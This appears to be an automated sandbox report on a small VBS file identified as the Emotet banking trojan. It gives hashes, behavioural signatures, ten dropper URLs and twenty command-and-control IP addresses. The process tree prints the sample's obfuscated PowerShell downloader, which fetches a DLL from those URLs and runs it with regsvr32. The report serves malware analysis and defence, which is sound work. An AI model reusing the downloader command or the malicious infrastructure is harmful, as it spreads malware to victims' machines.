Overview

overview

10

Static

static

test.vbs

windows7_x64

10

test.vbs

windows10-2004_x64

10

Analysis

  • max time kernel
    90s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    23/02/2022, 03:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    test.vbs
  • Size 1KB
  • Sample220223-d78qwsabbk
  • SHA256 31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch4bankersuricatatrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
  • exe.dropper

    https://1566xueshe.com/wp-includes/z92ZVqHH8/
  • exe.dropper

    http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
  • exe.dropper

    http://o2omart.co.in/infructuose/m4mgt2MeU/
  • exe.dropper

    http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
  • exe.dropper

    http://www.ama.cu/jpr/VVP/
  • exe.dropper

    http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
  • exe.dropper

    https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
  • exe.dropper

    https://edu-media.cn/wp-admin/0JAE/
  • exe.dropper

    https://iacademygroup.cl/office/G42LJPLkl/

Extracted

Family

  • emotet

Botnet

  • Epoch4

C2

  • 175.107.196.192:80

  • 156.67.219.84:7080

  • 159.8.59.82:8080

  • 119.235.255.201:8080

  • 31.24.158.56:8080

  • 212.237.17.99:8080

  • 45.118.135.203:7080

  • 45.176.232.124:443

  • 129.232.188.93:443

  • 58.227.42.236:80

  • 162.214.50.39:7080

  • 176.104.106.96:8080

  • 153.126.203.229:8080

  • 162.243.175.63:443

  • 138.185.72.26:8080

  • 50.116.54.215:443

  • 50.30.40.196:8080

  • 178.79.147.66:8080

  • 203.114.109.124:443

  • 82.165.152.127:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\test.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4032
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2344
      • \??\c:\windows\syswow64\regsvr32.exe
        c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
        3⤵
        • Loads dropped DLL
        • Drops file in System32 directory
        • Suspicious use of WriteProcessMemory
        PID:3576
        • C:\Windows\SysWOW64\regsvr32.exe
          C:\Windows\SysWOW64\regsvr32.exe /s "C:\Windows\SysWOW64\Xrevbwcimqvyczrl\omts.bgc"
          4⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:3352

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/3352-148-0x0000000004B50000-0x0000000004B76000-memory.dmp
        Download

        memory/3576-145-0x0000000000BA0000-0x0000000000BC6000-memory.dmp
        Download

        memory/4032-134-0x00000250D6D10000-0x00000250D6D32000-memory.dmp
        Download

        memory/4032-136-0x00007FF9DBEC3000-0x00007FF9DBEC5000-memory.dmp
        Download

        memory/4032-137-0x00000250D6BD0000-0x00000250D6BD2000-memory.dmp
        Download

        memory/4032-138-0x00000250D6BD3000-0x00000250D6BD5000-memory.dmp
        Download

        memory/4032-139-0x00000250D6BD6000-0x00000250D6BD8000-memory.dmp
        Download